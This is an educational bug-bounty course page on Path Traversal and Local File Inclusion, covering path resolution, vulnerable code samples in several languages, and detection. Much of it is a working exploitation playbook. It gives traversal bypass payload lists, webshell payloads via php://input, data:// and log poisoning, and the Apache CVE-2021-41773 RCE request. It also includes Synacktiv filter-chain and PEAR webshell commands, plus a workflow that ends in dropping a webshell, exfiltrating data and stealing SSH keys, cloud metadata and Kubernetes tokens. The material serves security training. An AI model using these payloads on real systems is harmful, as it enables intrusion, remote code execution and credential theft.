File & PathEasyServer-Side

Path Traversal

A complete guide to understanding, detecting, exploiting, and preventing Path Traversal vulnerabilities.

Take Exam

Step 1 of 2Introduction0% Complete

Introduction

Path Traversal and Local File Inclusion (LFI)

ANAS EDUCATION -- Bug Bounty & Pentesting Course (V2 Beginner-First)

A note on naming

This course covers two closely related vulnerabilities that share the same root cause and the same exploitation mechanics:

  • Path Traversal (also called Directory Traversal) -- reading or writing files outside the intended directory.
  • Local File Inclusion (LFI) -- the application not only reads the file but also includes or executes its contents.

Path Traversal is what happens when the application says `open(file)`. LFI is what happens when it says `include(file)`. The first gives data. The second gives remote code execution. Both are born from the same mistake. Path Traversal is CWE-22, CWE-73. LFI is CWE-98.

SECTION 1. Introduction

Imagine you open your PC and visit `anasdocs.anastech.com`.

You log in. You navigate to your invoices. Each invoice has a download button. You click the download button next to invoice 4172. The browser sends:

http
GET /download.php?file=invoice-4172.pdf HTTP/1.1
Host: anasdocs.anastech.com
Cookie: session=abc123

On the server, the PHP code that handles this request looks like this:

php
<?php
$file = $_GET['file'];
include("/var/www/invoices/" . $file);
?>

The server takes `invoice-4172.pdf`, appends it to `/var/www/invoices/`, opens that path, and sends the PDF bytes back. Normal. Expected. You see a PDF.

Now look at the same picture again, but with a question on top of it: what if the value sent in the `file` parameter were not just a filename, but a small instruction to the operating system?

Filesystems on Linux and Windows obey three special tokens:

  • `.` means "the directory I am in right now".
  • `..` means "go one directory up, toward the root".
  • `/` (or `\` on Windows) separates one directory from the next.

So when the OS sees a path like `/var/www/invoices/../../../etc/passwd`, it follows the instructions literally: start at `/var/www/invoices/`, go up three levels (`var/www/invoices` to `var/www` to `var` to `/`), then descend into `etc/passwd`. The final resolved path is `/etc/passwd`.

Now change the URL parameter:

http
GET /download.php?file=../../../etc/passwd HTTP/1.1

The server concatenates `/var/www/invoices/` + `../../../etc/passwd`. The OS resolves this to `/etc/passwd`. The server reads `/etc/passwd`. The server sends the file back. The browser shows:

text
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:111:117:MySQL Server:/nonexistent:/bin/false

Every user account on the server, leaked. No authentication bypass. No SQL injection. No buffer overflow. Just two dots, a slash, and an OS that does exactly what it is told.

This is Path Traversal. With one small change -- the same parameter pointing at a PHP source file fed into `include()` instead of `readfile()` -- the attack escalates to Local File Inclusion, which executes code. With wrappers like `php://filter`, LFI leaks source code. With log poisoning, LFI runs shell commands. With Synacktiv's filter chains, LFI becomes universal remote code execution.

This course teaches both bug classes from zero. By the end you will know:

  • How filesystem paths work and what `..` actually does.
  • The difference between "read a file" (Path Traversal) and "execute a file" (LFI).
  • Twelve encoding bypasses for naive filters.
  • Every PHP wrapper that turns LFI into RCE: `php://filter`, `php://input`, `data://`, `expect://`, `zip://`, `phar://`.
  • Log poisoning, session poisoning, `/proc/self/environ`, PEAR/PECL command injection.
  • The Synacktiv PHP filter chain technique that achieves RCE without uploads or special config.
  • The CVEs that mass-exploited the internet (Apache 2.4.49, Citrix Bleed, Spring 5).

You do not need to be an expert in operating systems. You need to understand that a filename is a path, and a path is an instruction.

SECTION 2. How It Works

Step 1. The filesystem hierarchy

Every Unix-like server organizes files in a tree rooted at `/`:

text
/
+-- etc/
|   +-- passwd        (list of user accounts)
|   +-- shadow        (password hashes, root-only)
|   +-- hosts
+-- var/
|   +-- www/
|   |   +-- html/
|   |       +-- index.php
|   |       +-- invoices/
|   |           +-- invoice-4172.pdf
|   |           +-- invoice-4173.pdf
|   +-- log/
|       +-- apache2/
|           +-- access.log
+-- home/
    +-- ubuntu/
        +-- .ssh/
            +-- id_rsa     (private SSH key)

When PHP calls `include("/var/www/invoices/" . $file)`, the OS looks up that path in this tree.

Step 2. The three special tokens

text
.    = current directory
..   = parent directory (go one level up)
/    = root or separator

Each `..` is a step closer to the root. Each subsequent path component is a step into a new directory.

text
/var/www/invoices/../etc/passwd       resolves to  /var/www/etc/passwd
/var/www/invoices/../../etc/passwd    resolves to  /var/etc/passwd
/var/www/invoices/../../../etc/passwd resolves to  /etc/passwd

If the user supplies `../../../etc/passwd`, the OS reads `/etc/passwd`.

Step 3. Where the bug lives

text
TIME ---------------------------------------------->

  [User input]--[Concatenated into path]--[OS resolves path]--[File read or included]
                              ^
                              |
                       Traversal lives here

The vulnerability is in step two: the application concatenates user input into a filesystem path without checking that the result stays inside the intended directory.

Step 4. Path Traversal vs LFI outcomes

The same trick produces different results depending on which function the developer used:

text
APPLICATION CALLS              OUTCOME WITH ../../../etc/passwd
-----------------              --------------------------------
file_get_contents()            Read file contents (data leak)
fopen() / readfile()           Read file contents (data leak)
file()                         Read file contents (data leak)
include() / require()          EXECUTE the file as PHP code (RCE)
include_once / require_once    EXECUTE the file as PHP code (RCE)
fpassthru()                    Read file contents (data leak)
imagecreatefrompng()           Triggers image-parser bugs

Path Traversal leaks data. LFI executes code. Same root cause; different sink.

Step 5. The critical sinks per language

  • PHP: `include`, `require`, `include_once`, `require_once`, `file_get_contents`, `fopen`, `readfile`, `highlight_file`, `show_source`, `parse_ini_file`, `file`, `fpassthru`.
  • Node.js: `fs.readFile`, `fs.readFileSync`, `fs.createReadStream`, `res.sendFile`, `res.download`, `path.join` joined with user input without normalization.
  • Python: `open()`, `pathlib.Path()`, Flask `send_file()`, Django `serve()`.
  • Java: `new File()`, `Files.read*()`, `getResourceAsStream()`, `FileInputStream()`.
  • C#: `File.ReadAllText()`, `File.Open()`, `Path.Combine()` without canonicalization.
  • Ruby: `File.read`, `File.open`, `Pathname`, Rails `send_file`.

If user input touches any of those without strict validation, Path Traversal can live there.

Step 6. Why include() is the dangerous escalation

`include()` is not just "read the file". It is "read the file and evaluate it as PHP code". So:

text
include("/var/log/apache2/access.log")

reads the log and tries to evaluate it. If the log contains `<?php system('id'); ?>` somewhere (because an attacker sent a request with that string in a logged header), PHP executes it. This is log poisoning. The combination of:

  • A read primitive that resolves user input,
  • A sink that executes what it reads,
  • A logged target that the attacker can pre-poison,

turns Path Traversal into RCE without uploading anything.

SECTION 3. Attack Flow

The walkthrough below is the canonical Path Traversal to LFI to RCE chain against a single endpoint.

Step 1: Recon

Look at every URL parameter, form field, JSON body field, and cookie that could carry a filename: `file`, `path`, `page`, `template`, `include`, `doc`, `img`, `image`, `download`, `view`, `folder`, `style`, `lang`, `locale`, `css`, `theme`, `logo`, `name`, `report`.

Step 2: Baseline probe

Send a benign value first. Note the response shape, status code, and body length. Example baseline:

text
GET /download.php?file=invoice-4172.pdf

Step 3: Confirm traversal

Send progressive `../` ladders:

text
?file=../etc/passwd
?file=../../etc/passwd
?file=../../../etc/passwd
?file=../../../../etc/passwd
?file=../../../../../etc/passwd
?file=../../../../../../etc/passwd

If any response contains a line starting with `root:x:0:0:`, Path Traversal is confirmed.

Step 4: Try absolute paths

If the application strips the prefix or rejects the relative path, try absolute:

text
?file=/etc/passwd
?file=file:///etc/passwd

Step 5: Walk the encoding bypass ladder

If `..` is filtered:

text
?file=....//....//....//etc/passwd          (non-recursive strip bypass)
?file=..%2f..%2f..%2fetc%2fpasswd            (URL encode)
?file=..%252f..%252f..%252fetc%252fpasswd    (double URL encode)
?file=..%c0%af..%c0%af..%c0%afetc%c0%afpasswd (UTF-8 overlong)
?file=..\..\..\etc\passwd                    (Windows separator)
?file=/var/www/invoices/../../../etc/passwd  (start-of-path bypass)
?file=../../../etc/passwd%00.pdf             (legacy null-byte bypass)
?file=..;/..;/..;/etc/passwd                 (Tomcat semicolon bypass)

Step 6: Identify the sink type

Inspect the response to determine if the file is read or included:

  • Read sink (file_get_contents, readfile): returns file contents as data.
  • Include sink (include, require): may execute PHP code or fail silently if the file is not PHP.

The next escalation depends on which sink is in play.

Step 7: Escalate to source code disclosure (LFI)

If the sink is `include()`, use `php://filter` to base64-encode the file's contents so they survive the include:

text
?file=php://filter/convert.base64-encode/resource=../../config/database.php

The response body is the base64-encoded source of `database.php`. Decode locally to read database credentials, API keys, and source code.

Step 8: Escalate to RCE

Pick a technique that matches the environment:

  • Log poisoning if logs are readable and predictable.
  • `/proc/self/environ` poisoning via User-Agent on older Linux.
  • PHP session file inclusion if you can plant code in a session value.
  • Synacktiv PHP filter chain if nothing else fits.
  • PEAR/PECL command injection on Debian-flavored PHP installs.

Step 9: Capture impact

Read `/etc/passwd`, then config files, then source code, then SSH keys, then cloud metadata via SSRF chain. Document every step with HTTP traces.

ASCII timing diagram

text
TIME    REQUEST                                       SERVER ACTION
-----   ------------------------------------         -------------------------
T0      GET /download.php?file=invoice-4172.pdf -->  include /var/www/invoices/
                                                     invoice-4172.pdf
T0+1                                                 reads PDF, returns bytes
T1      GET /download.php?file=../../../etc/passwd
                                                -->  resolves to /etc/passwd
                                                     returns the file
T2      GET /download.php?file=php://filter/...
                            ../../config/db.php -->  base64-encoded source returned
T3      GET / with header X-Forwarded-For:
            <?php system($_GET['c']); ?>        -->  string logged in access.log
T4      GET /download.php?file=../../../var/log/
                              apache2/access.log
                              &c=id             -->  include() evaluates the log
                                                     PHP runs; id output returned

SECTION 4. Why Developers Make This Mistake

Path Traversal is a defaults bug and a model-of-the-OS bug.

Mistake 1: "The user is supplying a name, not a path"

A name and a path are the same thing once concatenated. `invoice-4172.pdf` and `../../../etc/passwd` both fit in the same string variable. The OS does not care which one the developer intended.

Mistake 2: "Only my frontend will send this request"

Anyone can construct an HTTP request. The frontend dropdown does not constrain what the backend receives.

Mistake 3: "I prefixed it with my safe directory, so it stays there"

Prefixing does nothing if the user input contains `../`. The OS happily walks back up out of the prefix.

Mistake 4: "I block `..` so it is safe"

Filters can be defeated by `....//`, URL encoding, double URL encoding, UTF-8 overlong sequences, Windows backslashes, and many other variants documented in section 11.

Mistake 5: "I check the file extension"

Extension checks die to null bytes (legacy PHP), wrapper syntax (`php://filter/.../resource=...`), and the absolute path bypass (which keeps any prefix the developer expects).

Mistake 6: "include() only includes my templates"

`include()` resolves the path the developer hands it and executes whatever lives there. If user input controls that path, the developer is no longer in control of what runs.

Mistake 7: "It's only a read, not a write"

A read of `/etc/shadow`, `id_rsa`, `.aws/credentials`, or `/run/secrets/kubernetes.io/serviceaccount/token` is functionally equivalent to compromise. A read of source code reveals further vulnerabilities to chain. A read can be enough.

SECTION 5. Beginner Summary

  • Path Traversal lets an attacker read files outside the intended folder by adding `../` to climb the directory tree.
  • LFI is the same bug applied to an `include()` or `require()` sink, which executes the included file as code instead of just reading it.
  • Both work because the application trusts user input as a filename without verifying that the resolved canonical path stays inside the intended directory.
  • Detection is one probe: `?file=../../../etc/passwd`. If the response contains lines starting with `root:x:0:0:`, the bug is confirmed.
  • Defense is canonical path resolution plus an allowlist of expected filenames, or indirect IDs that map server-side to real files. CWE-22 for traversal, CWE-98 for LFI, OWASP A01:2021 Broken Access Control.

If you remember those five lines, you already understand the soul of these attacks.

SECTION 6. Visual Explanation

The safe pattern

text
User input: "invoice-4172.pdf"
            |
            v
    +-------------------------------------------+
    | basename(input) = "invoice-4172.pdf"      |
    | allowed list contains it? yes             |
    | resolved = "/var/www/invoices/invoice-... |
    | starts with "/var/www/invoices/"? yes     |
    +-------------------------------------------+
            |
            v
    File served from /var/www/invoices/invoice-4172.pdf

The vulnerable pattern

text
User input: "../../../etc/passwd"
            |
            v
    +-------------------------------------------+
    | concatenation:                            |
    |   "/var/www/invoices/" + input            |
    | OS resolves to:                           |
    |   "/etc/passwd"                           |
    | (no canonicalization check)               |
    +-------------------------------------------+
            |
            v
    File contents of /etc/passwd returned -- ROOT secrets leaked

Three families of file-path attacks

text
                  +-------------------------+
                  | FILE-PATH ATTACKS       |
                  +-----------+-------------+
                              |
       +----------------------+-----------------------+
       |                      |                       |
       v                      v                       v
  Path Traversal         LFI (include)            LFI -> RCE
  read()/open()          evaluates PHP            wrappers + chains
       |                      |                       |
   leaks data             executes file            full system
                          on server                compromise

The escalation ladder

text
1. Detect traversal       ../../../etc/passwd works
2. Read sensitive files   /etc/passwd, /proc/self/environ, configs, .env
3. Read source code       php://filter/convert.base64-encode/resource=
4. RCE via wrappers       data://, php://input, expect://, zip://, phar://
5. RCE via log poisoning  Apache/Nginx access log + PHP in User-Agent
6. RCE via filter chain   Synacktiv php_filter_chain_generator
7. Persistence            write webshell, reverse shell
8. Lateral movement       cloud metadata, SSH keys, internal services

Burn these into memory. Every real engagement walks this ladder.

SECTION 7. Definition

Technical definition

Path Traversal (CWE-22 Improper Limitation of a Pathname to a Restricted Directory, also CWE-73 External Control of File Name or Path) is a vulnerability in which an application uses user-supplied input to construct a filesystem path without adequate validation, allowing the attacker to access files or directories outside the intended scope.

Local File Inclusion (CWE-98 Improper Control of Filename for Include/Require Statement) is the same vulnerability applied to a code-inclusion sink, leading to execution of the included file's contents.

Beginner-friendly definition

Path Traversal is when `../` lets the attacker read files they should not be able to read. LFI is when those files are then executed as code.

Why it matters

Real CVEs and bounty disclosures in the last few years prove this bug class is alive:

Real HackerOne bounty examples in the corpus at https://github.com/reddelexc/hackerone-reports/blob/master/tops_by_bug_type/TOPFILEREADING.md:

  • Internet Bug Bounty -- Apache 2.4.49 path traversal, paid $4,000: https://hackerone.com/reports/1394916
  • GitLab -- Nuget package traversal, paid $12,000: https://hackerone.com/reports/733072
  • Aiven -- Grafana 8.x path traversal, paid $1,000.
  • Slack -- Unauthenticated LFI, 122 upvotes corpus entry.
  • WordPress -- `unzip_file` traversal, 119 upvotes corpus entry.
  • Lichess (Lila) -- traversal disclosure, 114 upvotes corpus entry.
  • Semmle / GitHub Security Lab -- worker container LFI, paid $2,000.
  • TikTok -- Lynxview deeplink traversal, 103 upvotes corpus entry.
  • Internet Bug Bounty -- Node.js Uint8Array path bypass, paid $3,495.
  • Internet Bug Bounty -- Node.js permission model bypass, paid $2,330.
  • Mail.ru -- esk-static traversal, paid $1,500.
  • U.S. Dept of Defense -- multiple traversal disclosures including 497771, 2778380, 1888808.

Common affected systems

  • File-download endpoints (invoice/report/log downloaders)
  • Image and avatar viewers
  • PDF and report generators loading templates by name
  • Multi-language frameworks loading locale files dynamically
  • Plugin and theme systems including modules by filename
  • Backup, import, and export features
  • Log viewers in admin panels
  • Help-system file readers
  • CI/CD configuration loaders
  • Static asset routers in legacy frameworks
  • Reverse proxies and load balancers with normalization mismatches

If a user-controllable parameter flows into `file=`, `path=`, `include=`, `view=`, or similar, traversal may live there.

SECTION 8. Examples

Five realistic AnasTech scenarios. Each one follows a real disclosed pattern.

Example 1. AnasDocs classic file download

The feature. AnasDocs users download invoices via `GET /download.php?file=invoice-4172.pdf`. The server concatenates the parameter with `/var/www/invoices/` and reads the file.

The bug. No validation that the resolved path stays inside `/var/www/invoices/`.

The attack step by step.

  • Step 1: send `?file=../../../etc/passwd`.
  • Step 2: response contains lines starting with `root:x:0:0:`.
  • Step 3: pivot to `?file=../../../var/www/html/config.php` to grab DB credentials.
  • Step 4: pivot to `?file=../../../home/ubuntu/.ssh/id_rsa` to grab SSH keys.

Example 2. AnasTech legacy null-byte extension bypass

The feature. A legacy AnasTech installation runs PHP 5.2. The downloader appends `.pdf` to the supplied filename:

php
include($_GET['file'] . ".pdf");

The bug. In PHP versions before 5.3.4, a null byte terminates the C-level string. The appended `.pdf` is never reached.

The attack step by step.

  • Step 1: send `?file=../../../etc/passwd%00`.
  • Step 2: the C string ends at the null byte; `.pdf` is dropped.
  • Step 3: `/etc/passwd` is read.

Example 3. AnasOne LFI via PHP filter (source disclosure)

The feature. AnasOne uses a `page` parameter to switch between content sections:

php
include("pages/" . $_GET['page'] . ".php");

The bug. User input flows into `include()`. PHP's `include` understands stream wrappers.

The attack step by step.

  • Step 1: send `?page=php://filter/convert.base64-encode/resource=../../config/database`.
  • Step 2: the include reads the file through the filter, base64-encoded.
  • Step 3: response body is base64 source of `database.php`.
  • Step 4: decode locally; harvest DB credentials.

Example 4. AnasMarket log poisoning to RCE

The feature. AnasMarket allows users to browse documentation via:

php
include($_GET['doc']);

The bug. The parameter is unfiltered; Apache logs every request including User-Agent.

The attack step by step.

  • Step 1: send a request to any URL with header `User-Agent: <?php system($_GET['cmd']); ?>`.
  • Step 2: Apache writes that User-Agent into `/var/log/apache2/access.log`.
  • Step 3: send `?doc=/var/log/apache2/access.log&cmd=id`.
  • Step 4: `include()` evaluates the log; PHP tag runs; `id` output appears in the response.

Example 5. AnasCorp Apache CVE-2021-41773 / CVE-2021-42013

The feature. A misconfigured Apache 2.4.49 or 2.4.50 (the patch was incomplete in 2.4.50) ships with permissive `Alias` directives and `Require all granted` on paths outside the document root.

The bug. A path normalization flaw allows requests like:

text
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd

to escape the document root.

The attack step by step.

  • Step 1: scan for Apache 2.4.49 / 2.4.50 banner.
  • Step 2: send the `.%2e/` traversal pattern; read `/etc/passwd`.
  • Step 3: where `mod_cgi` is enabled, POST a shell command:
http
POST /cgi-bin/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
Host: target
Content-Length: 7

echo;id
  • Step 4: response contains `id` output. Unauthenticated RCE.

This is the exact pattern that mass-compromised tens of thousands of public-facing Apache hosts in October 2021.

SECTION 9. Vulnerable Code

The flaw is structural: the server concatenates user input into a path and uses it without canonical-path verification.

PHP -- critical traversal + LFI

php
<?php
$file = $_GET['file'];
include("/var/www/pages/" . $file);
?>

`$_GET['file']` is attacker-controlled. The concatenation lands inside `include()`, which both resolves wrappers (`php://filter`, `data://`, `expect://`) and executes the included file as PHP.

PHP -- extension suffix (legacy null-byte vulnerable)

php
<?php
include($_GET['page'] . ".php");
?>

The hardcoded `.php` is bypassed by null byte on legacy PHP, and by `php://filter/...?resource=...` on modern PHP.

Node.js (Express) -- traversal in `res.sendFile`

javascript
app.get('/download', (req, res) => {
  const file = req.query.file;
  res.sendFile('/var/www/invoices/' + file);
});

`sendFile` follows the resolved path. Without the `root` option (or with manual concatenation as shown), traversal works.

Node.js -- traversal in `fs.readFile`

javascript
const fs = require('fs');
app.get('/read', (req, res) => {
  fs.readFile('/var/www/notes/' + req.query.note, (err, data) => {
    if (err) return res.status(500).send('error');
    res.send(data);
  });
});

Python (Flask) -- traversal in `send_file`

python
from flask import Flask, send_file, request

app = Flask(__name__)

@app.route('/download')
def download():
    name = request.args.get('name')
    return send_file('/var/www/uploads/' + name)

`send_file` does not normalize the path. `../../../etc/passwd` reaches the disk.

Python (Django) -- `serve()` misuse

python
from django.views.static import serve
urlpatterns = [
    path('media/<path:path>', serve, {'document_root': '/var/www/uploads'}),
]

Django's `serve` is explicitly documented as insecure for production. With user-controlled `path`, traversal is possible.

Java (Spring) -- file resolution without `normalize()`

java
@GetMapping("/file")
public ResponseEntity<Resource> getFile(@RequestParam String name) throws IOException {
    Path path = Paths.get("/var/www/files/" + name);
    Resource resource = new UrlResource(path.toUri());
    return ResponseEntity.ok().body(resource);
}

Without `path.normalize()` followed by an allowlist `startsWith` check, traversal works.

C# (ASP.NET) -- `Path.Combine` misuse

csharp
[HttpGet("/file")]
public IActionResult GetFile(string name) {
    var path = Path.Combine("C:\\inetpub\\files\\", name);
    return PhysicalFile(path, "application/octet-stream");
}

`Path.Combine` does not block traversal. If `name` is `..\..\Windows\System32\drivers\etc\hosts`, ASP.NET serves the hosts file.

Ruby on Rails -- `send_file` without scoping

ruby
class FilesController < ApplicationController
  def show
    send_file "/var/www/uploads/" + params[:name]
  end
end

Go -- `filepath.Join` without `Clean` check

go
http.HandleFunc("/file", func(w http.ResponseWriter, r *http.Request) {
    name := r.URL.Query().Get("name")
    path := filepath.Join("/var/www/files/", name)
    // MISSING: verify filepath.Clean(path) starts with "/var/www/files/"
    http.ServeFile(w, r, path)
})

`filepath.Join` does normalize, but without verifying the result still starts with the intended base directory, traversal escapes.

The universal pattern across languages

  • 1. Read user input.
  • 2. Concatenate it into a file path.
  • 3. Pass the path to a read or include function.
  • 4. Never check whether the resolved canonical path stays inside the intended directory.

Step 4 is where the bug is born. Every fix in section 16 adds the missing verification.

SECTION 10. Detection

Detection is a request-replay exercise: take any parameter that looks like a file reference and walk the traversal ladder.

Manual workflow

  • Step 1: enumerate every parameter that takes a file reference. Look for keys named `file`, `path`, `page`, `template`, `include`, `doc`, `img`, `image`, `download`, `view`, `folder`, `style`, `lang`, `locale`, `css`, `theme`, `logo`, `name`, `report`, `attachment`.
  • Step 2: send a benign baseline value first. Capture status code and response length.
  • Step 3: send the `../` ladder. If any response contains `root:x:0:0:`, traversal is confirmed.
  • Step 4: if filtered, try absolute paths, encoding bypasses, null-byte (legacy), and semicolon (Java) variants.
  • Step 5: if the sink is `include()`, escalate immediately to `php://filter` source disclosure.
  • Step 6: try wrappers for RCE: `php://input`, `data://`, `expect://`, `zip://`, `phar://`.
  • Step 7: if direct reads fail, try log poisoning (`/var/log/apache2/access.log`), session inclusion, `/proc/self/environ`.

Burp Suite

  • Right-click the request, send to Intruder. Set the file parameter as the payload position. Load the SecLists LFI wordlist. Filter responses by grep-match for `root:x:0:0:`.
  • Use Active Scan Pro -- catches basic traversal patterns.
  • Use Param Miner to discover hidden file-related parameters.

Automated tools and URLs

Quick command-line probes

bash
# Basic detection
curl -sk "https://target.anastech.com/download.php?file=../../../etc/passwd" | head -3

# URL-encoded variant
curl -sk "https://target.anastech.com/download.php?file=..%2f..%2f..%2fetc%2fpasswd" | head -3

# Double encoded
curl -sk "https://target.anastech.com/download.php?file=..%252f..%252f..%252fetc%252fpasswd" | head -3

# LFI php://filter source disclosure
curl -sk "https://target.anastech.com/index.php?page=php://filter/convert.base64-encode/resource=../../config/database" | base64 -d

Indicators of vulnerability

  • User-controllable filename parameters in URLs, forms, or JSON bodies.
  • Endpoints that read or include files (sinks in section 2).
  • Error messages disclosing absolute server paths (`/var/www/html/...`).
  • File extension hardcoded in the application (suggests legacy null-byte targets).
  • Apache 2.4.49 / 2.4.50 in `Server` header or banner.
  • Older PHP versions (< 7.x) suggesting null-byte traversal works.
  • Legacy frameworks (Symfony 1.x, CodeIgniter early versions, Zend Framework 1.x).
  • Multi-language sites with locale files loaded dynamically.

Train your eye. Every filename parameter is an invitation.

SECTION 11. Exploitation

Workflow

  • 1. Identify every file-handling parameter.
  • 2. Confirm traversal with `/etc/passwd` (Linux) or `C:\windows\win.ini` (Windows).
  • 3. Read sensitive files: configs, logs, SSH keys, env files.
  • 4. If the sink is include/require, escalate to LFI source disclosure via `php://filter`.
  • 5. Try wrappers for RCE: `php://input`, `data://`, `expect://`, `zip://`, `phar://`.
  • 6. If wrappers fail, try log poisoning, session poisoning, `/proc/self/environ`.
  • 7. If still stuck, use the Synacktiv filter chain (universal RCE).
  • 8. Drop a webshell, exfiltrate data, document the chain.

Techniques

1. Encoding bypass ladder

When `../` is filtered, walk through:

text
Plain:           ../../../etc/passwd
URL encode:      ..%2f..%2f..%2fetc%2fpasswd
Double encode:   ..%252f..%252f..%252fetc%252fpasswd
UTF-8 overlong:  ..%c0%af..%c0%af..%c0%afetc%c0%afpasswd
Unicode 16:      ..%u002f..%u002f..%u002fetc%u002fpasswd
Backslash:       ..\..\..\etc\passwd
Mixed:           ..\/..\/..\/etc\/passwd
Encoded slash:   %2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd

If single decode fails, try double. The downstream framework may decode again.

2. Non-recursive filter bypass

When the filter strips `../` exactly once:

text
....//....//....//etc/passwd
....\/....\/....\/etc/passwd
.....///....//etc/passwd

After stripping one `../` from `....//`, the residue is still `../`.

3. Superfluous URL-decode bypass

The PortSwigger PRACTITIONER lab. The application URL-decodes its input, then runs a filter that strips `../`. Send double-encoded `../`:

text
?file=..%252f..%252f..%252fetc%252fpasswd

First decode yields `..%2f...`. Filter sees no `../`. Then a framework decodes again somewhere downstream, yielding `../../../etc/passwd` at the sink.

4. Start-of-path validation bypass

When the application validates that the input starts with `/var/www/files/`:

text
?file=/var/www/files/../../../etc/passwd

The path starts correctly. The OS resolves the traversal. Game over.

5. Null-byte bypass (legacy)

text
?file=../../../etc/passwd%00.png
?file=../../../etc/passwd%00

Works on PHP < 5.3.4 and some other legacy languages. Always worth a try.

6. Semicolon bypass (Tomcat, Spring, some Java servers)

text
?file=..;/..;/..;/etc/passwd
http://target/page.jsp?include=..;/..;/sensitive.txt

Some Java servers treat `;` as a parameter delimiter, but path normalization runs before parameter stripping.

7. UNC path bypass (Windows)

text
\\localhost\c$\windows\win.ini
//attacker.com/share/file
\\127.0.0.1\C$\boot.ini

Windows interprets `\\` as a UNC path. Some applications fail to canonicalize and the OS reads from the SMB share -- including an attacker-controlled SMB. CVE-2025-27210 in Node.js targeted this on Windows.

8. NGINX / ALB normalization mismatch

text
http://nginx-server/../../        -> 400 Bad Request
http://nginx-server////////../../ -> Works

When the reverse proxy normalizes paths but the backend does not, multiple slashes survive to the backend.

9. Spring CVE-2018-1271

Double-URL-encoded backslashes traverse out of static resource folders:

text
http://target:8080/spring-mvc-showcase/resources/%255c%255c..%255c/..%255c/..%255c/..%255c/..%255c/windows/win.ini

10. Apache CVE-2021-41773 / CVE-2021-42013

text
GET /cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd
GET /icons/.%%32%65/.%%32%65/etc/passwd       (CVE-2021-42013 variant)

Chains to RCE on hosts with `mod_cgi` enabled:

text
POST /cgi-bin/.%2e/.%2e/.%2e/bin/sh
Body: echo;id

11. LFI via php://filter (source disclosure)

text
?page=php://filter/convert.base64-encode/resource=../../config/database
?page=php://filter/read=convert.base64-encode/resource=index
?page=php://filter/convert.iconv.utf-8.utf-16/resource=index
?page=php://filter/zlib.deflate/convert.base64-encode/resource=index

The include reads the file, the filter base64-encodes the bytes, the result is output as text. Decode to source.

12. LFI via php://input

Some installs have `allow_url_include=On`. Send a POST body containing PHP:

http
POST /index.php?page=php://input HTTP/1.1
Content-Type: text/plain

<?php system($_GET['cmd']); ?>

Then call with `?cmd=id`.

13. LFI via data://

text
?page=data://text/plain,<?php system($_GET['cmd']); ?>
?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=

Requires `allow_url_include=On`.

14. LFI via expect:// (PHP expect module enabled)

text
?page=expect://id
?page=expect://whoami
?page=expect://cat /etc/passwd

Rare in production but devastating when present.

15. LFI via zip:// and phar:// (upload + include)

Upload a malicious archive:

bash
echo '<?php system($_GET["cmd"]); ?>' > shell.php
zip shell.zip shell.php
# upload shell.zip via the avatar/file feature

Then include:

text
?page=zip://uploads/avatar.png#shell.php&cmd=id
?page=phar://uploads/avatar.png/shell.php&cmd=id

16. Log poisoning to RCE (Apache / Nginx)

Send a request with PHP in a logged header:

bash
curl -A "<?php system(\$_GET['cmd']); ?>" http://target/

Then include the access log:

text
?page=../../../var/log/apache2/access.log&cmd=id
?page=../../../var/log/nginx/access.log&cmd=id
?page=../../../var/log/httpd/access_log&cmd=id

The log contains the PHP tag. `include()` evaluates it. RCE.

Common log paths:

text
/var/log/apache/access.log
/var/log/apache/error.log
/var/log/httpd/error_log
/var/log/nginx/access.log
/var/log/nginx/error.log
/usr/local/apache2/log/error_log
/var/log/vsftpd.log
/var/log/sshd.log
/var/log/mail

17. /proc/self/environ poisoning

Send a request with PHP in User-Agent. Then:

text
?page=/proc/self/environ&cmd=id

The environ file contains the User-Agent value. `include()` evaluates the PHP. Works on older Linux kernels where `/proc/self/environ` is web-readable.

18. PHP session file inclusion

Plant a malicious value in your session via any feature that stores user-controlled data in the session (display name, search history, profile field). Then include the session file:

text
?page=/var/lib/php/sessions/sess_PHPSESSID&cmd=id
?page=/tmp/sess_PHPSESSID&cmd=id

The session file is plain text containing the PHP code. The include evaluates it.

19. /proc/[PID]/fd file descriptor brute force

When the application opens a temp file but does not expose its path, brute-force PIDs and FDs:

text
?page=/proc/self/fd/0
?page=/proc/123/fd/0
?page=/proc/123/fd/1

The active web request body may be mapped to a file descriptor you can include.

20. Synacktiv PHP filter chain to RCE (modern)

Synacktiv's 2022+ technique turns ANY PHP `include()` of a user-controlled string into RCE without requiring file upload, wrappers like `data://`, or special configuration. The chain uses iconv conversions to gradually craft a base64-encoded PHP shell:

text
?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|...|convert.base64-decode/resource=/etc/passwd

Use Synacktiv's generator:

bash
git clone https://github.com/synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?=`$_GET[0]`;;?>'

Append `&0=id` to the URL. Watch RCE happen.

Use `php://temp` if no readable file path exists:

text
?file=php://filter/<CHAIN>/resource=php://temp

21. Lightyear: filter chain oracle exfiltration

Synacktiv's follow-up uses filter chains as an error-based oracle to dump files byte by byte over HTTP error codes. Useful when LFI exists but output is hidden:

22. PEAR / PECL command injection via LFI

Where PEAR is installed (default on many Debian PHP setups), include `pearcmd.php`:

text
?+config-create+/&page=/usr/local/lib/php/pearcmd&/<?=system($_GET['cmd']);?>+/tmp/webshell.php

PEAR writes a config file containing the PHP at `/tmp/webshell.php`. Include it. RCE.

23. Windows: read win.ini, hosts, web.config

text
?file=../../../../../../windows/win.ini
?file=c:\windows\win.ini
?file=c:\boot.ini
?file=c:\inetpub\wwwroot\web.config
?file=c:\windows\system32\drivers\etc\hosts

24. Cloud metadata via LFI/SSRF chain

If the LFI sink can be redirected to an HTTP URL (`url=file:///...` or `url=http://...`), reach cloud metadata:

text
?file=http://169.254.169.254/latest/meta-data/iam/security-credentials/
?file=http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token

The combination of LFI primitives and SSRF surfaces produces cloud credentials and persistent access.

25. Kubernetes service account token theft

When the application runs in a pod with a mounted service account:

text
?file=/run/secrets/kubernetes.io/serviceaccount/token
?file=/run/secrets/kubernetes.io/serviceaccount/namespace
?file=/run/secrets/kubernetes.io/serviceaccount/ca.crt

